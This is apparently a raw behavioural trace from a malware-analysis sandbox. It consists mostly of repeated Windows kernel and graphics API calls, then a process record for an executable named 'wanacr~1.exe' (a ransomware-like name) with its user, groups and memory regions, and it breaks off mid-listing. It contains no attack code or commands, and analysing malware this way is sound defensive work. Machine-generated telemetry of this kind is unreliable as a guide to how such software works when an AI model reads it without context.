[0153.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.240] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.240] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.241] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.241] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.241] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.241] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.242] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.242] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.242] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.242] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.242] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.242] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.243] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.243] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.243] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.243] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.243] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.243] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.243] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.244] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.244] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.244] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.244] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.244] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.244] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.245] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.245] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.245] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.246] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.246] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.246] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.256] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.256] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.256] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.257] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.257] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.257] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.257] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.258] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.258] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.258] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.258] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.259] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.259] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.259] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.300] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.300] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.378] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.378] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.444] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.445] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.445] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.472] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.472] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.472] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.472] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.473] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.473] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.473] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.473] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.554] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.554] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.555] EngAllocMem () returned 0xfffff9014251f030 [0153.555] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.555] MmMapViewOfSection (in: SectionObject=0xffffc00001530f20, Process=0xffffe00000c8f900, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000218c6ed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0xec7090000, SectionOffset=0xffffd000218c6ed0, ViewSize=0xfffff9014251f370) returned 0x0 [0153.555] EngCreateBitmap () returned 0x7d0505a4 [0153.555] EngAssociateSurface () returned 0x1 [0153.555] EngLockSurface () returned 0xfffff90142453cb8 [0153.555] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000144cc80 [0153.555] KeInitializeEvent (in: Event=0xffffe0000144cc98, Type=0x1, State=0 | out: Event=0xffffe0000144cc98) [0153.555] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.556] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.556] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.586] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.587] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.587] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.587] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.587] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.587] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.588] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.588] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.589] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.589] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.589] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.753] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.815] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.815] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.876] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.876] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.939] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.939] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144cc80) [0153.939] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0153.977] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0153.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0153.977] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.012] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0154.012] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.012] EngAllocMem () returned 0xfffff90140892ca0 [0154.012] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.012] MmMapViewOfSection (in: SectionObject=0xffffc000015a25f0, Process=0xffffe00000c8f900, BaseAddress=0xfffff90140892fc8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000218c6ed0, ViewSize=0xfffff90140892fe0, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90140892fc8*=0xec5530000, SectionOffset=0xffffd000218c6ed0, ViewSize=0xfffff90140892fe0) returned 0x0 [0154.012] EngCreateBitmap () returned 0xffffffff8a0505a0 [0154.012] EngAssociateSurface () returned 0x1 [0154.012] EngLockSurface () returned 0xfffff901409baad8 [0154.012] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000104e190 [0154.012] KeInitializeEvent (in: Event=0xffffe0000104e1a8, Type=0x1, State=0 | out: Event=0xffffe0000104e1a8) [0154.013] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.013] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.014] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.014] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.015] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.015] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.015] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.015] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.015] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.021] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.040] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.041] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.117] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.117] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.159] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.159] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.220] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.220] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.220] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.221] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000104e190) [0154.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.290] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0154.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0154.290] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0154.368] MmUnmapViewOfSection (Process=0xffffe00000c8f900, BaseAddress=0xec5530000) returned 0x0 [0154.369] MmUnmapViewOfSection (Process=0xffffe00000c8f900, BaseAddress=0xec8980000) returned 0x0 Process: id = "85" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x62d87000" os_pid = "0xb3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "84" os_parent_pid = "0xb18" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 10456 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 10457 start_va = 0xcb27840000 end_va = 0xcb2785ffff entry_point = 0x0 region_type = private name = "private_0x000000cb27840000" filename = "" Region: id = 10458 start_va = 0xcb27860000 end_va = 0xcb2786efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27860000" filename = "" Region: id = 10459 start_va = 0xcb27870000 end_va = 0xcb27c6ffff entry_point = 0x0 region_type = private name = "private_0x000000cb27870000" filename = "" Region: id = 10460 start_va = 0xcb27c70000 end_va = 0xcb27c73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27c70000" filename = "" Region: id = 10461 start_va = 0x7ff6cf2c0000 end_va = 0x7ff6cf2e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cf2c0000" filename = "" Region: id = 10462 start_va = 0x7ff6cf2ec000 end_va = 0x7ff6cf2edfff entry_point = 0x0 region_type = private name = "private_0x00007ff6cf2ec000" filename = "" Region: id = 10463 start_va = 0x7ff6cf2ee000 end_va = 0x7ff6cf2eefff entry_point = 0x0 region_type = private name = "private_0x00007ff6cf2ee000" filename = "" Region: id = 10464 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 10465 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 10466 start_va = 0xcb27c80000 end_va = 0xcb27c81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cb27c80000" filename = "" Region: id = 10467 start_va = 0xcb27c90000 end_va = 0xcb27c91fff entry_point = 0x0 region_type = private name = "private_0x000000cb27c90000" filename = "" Region: id = 10468 start_va = 0xcb27ca0000 end_va = 0xcb2822ffff entry_point = 0x0 region_type = private name = "private_0x000000cb27ca0000" filename = "" Region: id = 10469 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 10470 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 10471 